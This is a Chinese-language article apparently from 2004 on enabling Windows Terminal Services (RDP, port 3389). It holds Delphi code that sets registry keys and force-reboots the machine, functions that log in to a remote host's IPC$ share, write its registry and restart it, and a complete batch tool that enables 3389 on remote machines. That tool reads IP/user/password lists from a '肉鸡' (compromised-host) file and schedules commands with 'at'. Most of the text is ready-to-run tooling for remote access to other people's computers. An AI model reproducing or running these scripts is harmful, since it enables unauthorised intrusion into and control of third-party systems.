文章作者:陈经韬
Windows Server以上的版本都提供了一个基于TCP协议的服务叫终端服务.因为它的监听端口默认为3389,所以俗称3389.实际上,微软开发终端服务的初衷,是为了抗衡UNIX的多用户服务,我去年利用业余时间为一公司开发机顶盒项目时接触到这一块,该项目的核心是把一个Linux系统精减到最小后写入启动芯片,启动后通过我们的客户端程序登陆服务器的终端服务,从而使用服务器上面的所有资源,用几百元的成本生产的机顶盒模拟出奔四电脑的功能来.当然,该系统比较庞大,还涉及到视频传输等与教学相关的功能.RDP只不过是其中一小块.而且该系统是基于Linux下的程序,不过协议部分在Windows平台下也是通用的.现在把当时的一些小技巧写出来供大家参考.文章分为开启3389,使用3389和3389的实质---RDP协议剖析三大部分.
一:开启终端服务
终端服务使用的其实是RDP协议.默认情况下,操作系统是没有启动这个服务的.要开启这个服务,可以通过"添加删除Windows组件"来实现,或者在系统管理的"服务"里面直接启动.其实,安装完操作系统的时候,Windows已经把终端服务所需要的文件都安装了,要启动它,只要修改注册表然后重新启动电脑即可.
1:开启本地终端服务.打开Delphi,编译以下代码,即可生成一个大小为11KB的StartRdp.exe,运行它即可打开本机的终端服务了.
program StartRdp;
{=======================================================}
{ }
{ 深入浅出3389 - 打开本机3389代码 }
{ }
{ 版权所有 (c) 2004 陈经韬 }
{ }
{
http://www.138soft.com }
{ }
{=======================================================}
uses
Windows;
{$R *.res}
procedure AdjustToken();{NT内核电脑关机需要通过本函数获取特权}
var
hdlProcessHandle: Cardinal;
hdlTokenHandle: Cardinal;
tmpLuid: Int64;
tkp: TOKEN_PRIVILEGES;
tkpNewButIgnored: TOKEN_PRIVILEGES;
lBufferNeeded: Cardinal;
Privilege: array[0..0] of _LUID_AND_ATTRIBUTES;
begin
hdlProcessHandle := GetCurrentProcess;
OpenProcessToken(hdlProcessHandle,
(TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY),hdlTokenHandle);
LookupPrivilegeValue('', 'SeShutdownPrivilege', tmpLuid);
Privilege[0].Luid := tmpLuid;
Privilege[0].Attributes := SE_PRIVILEGE_ENABLED;
tkp.PrivilegeCount := 1; // One privilege to set
tkp.Privileges[0] := Privilege[0];
AdjustTokenPrivileges(hdlTokenHandle,False,tkp,Sizeof(tkpNewButIgnored),
tkpNewButIgnored,lBufferNeeded);
end;
function MyRegWriteInteger (RootKey:HKEY;SubKey:String;KeyName:String;Value:integer):Boolean;
var
key : HKEY;
ret : integer;
chg : DWORD;
begin
Result:=False;
key := 0;
ret := RegCreateKeyEx(RootKey,Pchar(SubKey),0,Nil,REG_OPTION_NON_VOLATILE,
KEY_ALL_ACCESS,Nil,key,@chg);
if (ret<>ERROR_SUCCESS) or (key=0) then exit;
try
RegSetValueEx(key,Pchar(KeyName),0,REG_DWORD,@Value,sizeof(Value));
finally
RegCloseKey(key);
end;
Result:=True;
end;
const
RootKey:array[1..6] of HKEY=(HKEY_LOCAL_MACHINE,
HKEY_LOCAL_MACHINE,
HKEY_LOCAL_MACHINE,
HKEY_LOCAL_MACHINE,
HKEY_LOCAL_MACHINE,
HKEY_LOCAL_MACHINE);
SubKey:array[1..6] of String=('SOFTWARE\Microsoft\Windows\CurrentVersion\netcache',
'SOFTWARE\Policies\Microsoft\Windows\Installer',
'SYSTEM\CurrentControlSet\Control\Terminal Server',
'SYSTEM\CurrentControlSet\Services\TermDD',
'SYSTEM\CurrentControlSet\Services\TermService',
'SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp');
KeyName:array[1..6] of String=('Enabled','EnableAdminTSRemote','TSEnabled',
'Start','Start','PortNumber');
Value:array[1..6] of integer=(0,1,1,2,2,3389);
var
i:integer;
begin
for i:=1 to 6 do MyRegWriteInteger(RootKey
,SubKey,KeyName,Value);
AdjustToken; {获取关机特权}
ExitWindowsEx(EWX_REBOOT + EWX_FORCE, 0);{重启电脑}
end.
2:开启远程3389服务方法之一:修改远程电脑注册表
如果对方电脑开了远程注册表服务(默认情况下是开),那么我们可以直接连接该电脑然后修改它的注册表即可.简单的调用下面的函数即可实现向指定计算机的注册表写入键值.
function My_NetRegWriteInteger(StrServerName:String;RegRootKey:HKEY;StrSubKey,StrValueName:String;intValue:integer):Boolean;
begin
Result:=False;
with TRegistry.Create(KEY_READ or KEY_WRITE) do
try
RootKey:=RegRootKey;
if (StrServerName [1] <> '\') and (StrServerName [2] <> '\') then StrServerName:='\\'+StrServerName;
if not RegistryConnect(StrServerName) then Exit;
if not OpenKey(StrSubKey,True) then Exit;
try
WriteInteger(StrValueName,intValue);
except
Free;
Exit;
end;
Result:=True;
finally
CloseKey;
Free;
end;
写入注册表后,需要远程重新启动该电脑.
(1)第一步:使用NetUser连接对方电脑:
function NetUse(const Server, User, Pasword: String): Boolean;
var
NetSource : TNetResource;
Re:integer;
begin
with NetSource do
begin
dwScope:=2;
dwDisplayType:=2;
dwUsage:=10;
lpComment:=nil;
dwType := RESOURCETYPE_ANY;
lpLocalName :=pchar('');
lpRemoteName:=Pchar('\\'+Trim(Server)+'\ipc$');
lpProvider := nil;
end;
Re:=WnetAddConnection2(NetSource,pchar(Trim(Pasword)),pchar(Trim(User)),CONNECT_UPDATE_PROFILE);
Result:=Re=0; {53:无法知道服务器.1219:提供的凭据与已存在的凭据集冲突。 }
if Re=0 then
MemoInfo.Lines.Add('登陆'+Server+'成功!')
else
MemoInfo.Lines.Add('登陆'+Server+'失败!原因:'+GetErrorMessage(Re));
end;
(2)第二步,连接成功后,提升程序的SE_REMOTE_SHUTDOWN_NAME特权.这样才能关闭或重启远程电脑.具体代码见上面的提升关闭本地计算机权限代码.
(3)第三步:调用API函数InitiateSystemShutdown重启远程电脑.
if not InitiateSystemShutdown(Pchar(Edit_Server.Text),Pchar(''),0,True,True) then
begin
MemoInfo.Lines.Add('远程重启失败!');
Exit;
end
else
MemoInfo.Lines.Add('远程重启成功!');
end;
3:开启远程3389服务方法之二:利用IPC原理,直接建立一个批处理文件,打开该批处理文件后,远程电脑即可完成开启3389功能.下面是一个网上找到的批处理文件.把下面内容直接保存为扩展名为BAT的文件然后打开即可.
@echo off
color 3e
cls
Rem
==========================以下是ipc.bat的内容===========
echo @echo off >ipc.bat
echo echo. >>ipc.bat
echo echo 正在连接%%1... >>ipc.bat
echo echo. >>ipc.bat
echo net use \\%%1\ipc$ %%3 /user:%%2 ^& IF errorlevel 1
goto :Error >>ipc.bat
echo echo 正在查询%%1的当前时间 >>ipc.bat
echo echo. >>ipc.bat
echo net time \\%%1 /set /y ^& IF errorlevel 1 goto
:Error >>ipc.bat
echo for /f "tokens=1,2 delims=:" %%%%i in ("%%time%%")
do set /a hh=%%%%i ^& set /a mm=%%%%j >>ipc.bat
echo echo %%1当前时间为%%hh%%:%%mm%% >>ipc.bat
echo set /a mm=%%mm%%+1 >>ipc.bat
echo if /i %%mm%% geq 60 set /a mm=0 ^& set /a
hh=%%hh%%+1 >>ipc.bat
echo if /i %%hh%% geq 24 set /a hh=0 >>ipc.bat
echo set tm=%%hh%%:%%mm%% >>ipc.bat
echo echo. >>ipc.bat
echo echo 设置启动3389服务的时间为%%tm%% >>ipc.bat
echo echo. >>ipc.bat
echo at \\%%1 %%tm%% cmd /c echo [Components] ^^^>
syslog ^& IF errorlevel 1 goto :Error >>ipc.bat
echo echo. >>ipc.bat
echo at \\%%1 %%tm%% cmd /c echo TSEnable = on ^^^>^^^>
syslog ^& IF errorlevel 1 goto :Error >>ipc.bat
echo echo. >>ipc.bat
echo at \\%%1 %%tm%% sysocmgr /i:c:\winnt\inf\sysoc.inf
/u:c:\winnt\system32\syslog /q ^& IF errorlevel 1 goto
:Error >>ipc.bat
echo echo. >>ipc.bat
echo echo 最多再过60秒,3389服务就会被启动,请稍侯...
>>ipc.bat
echo echo. >>ipc.bat
echo echo 对方正准备重启,请等待对方重器后,3389服务才会
生效... >>ipc.bat
echo goto :BYE >>ipc.bat
echo :Error >>ipc.bat
echo echo. >>ipc.bat
echo net use \\%%1\ipc$ /del /y >>ipc.bat
echo echo %%1出现错误,命令不能成功完成! >>ipc.bat
echo echo. >>ipc.bat
echo goto :exit >>ipc.bat
echo :BYE >>ipc.bat
echo echo. >>ipc.bat
echo net use \\%%1\ipc$ /del /y >>ipc.bat
echo echo %%1成功完成所有命令 >>ipc.bat
echo echo. >>ipc.bat
echo :exit >>ipc.bat
echo echo
------------------------------------------------------
>>ipc.bat
echo exit >>ipc.bat
Rem
======================================完================
if {%1}== {} goto :Usage
if {%2}== {} goto :file
if {%3}== {} goto :Usage
if not {%3}== {} goto :open
:File
echo
======================================================
if not exist %1 echo 指定文件不存在! & pause & goto
Usage
for /f "tokens=1-3 delims= " %%i in (%1) do start /b
/wait ipc.bat %%i %%j %%k
goto exit
:Open
echo
======================================================
start /b /wait ipc.bat %1 %2 %3
goto exit
:Usage
cls
echo
======================================================
echo
======================================================
echo 完全用批处理写的远程开启3389服务的工具。不依赖管理
共享了。
echo 作者:铁血
echo 主页:http://txhak.myrice.com/
echo 邮箱:txhak@etang.com
echo QQ: 22540685
echo tx3389.bat [IP] [用户名] [密码]
echo tx3389.bat [肉鸡文件]
echo 如果指定肉鸡文件批处理将从文件中读取ip 用户名 密码
echo 肉鸡文件的文件格式为ip 用户名 密码。空格隔开。
echo 例1:tx3389 192.168.0.2 user ""
echo 例2:tx3389 file.txt
echo 肉鸡文件格式如下(空格隔开):
echo 192.168.0.1 user ""
echo 192.168.0.2 administrator 123
echo 192.168.0.24 administrator admin
echo
------------------------------------------------------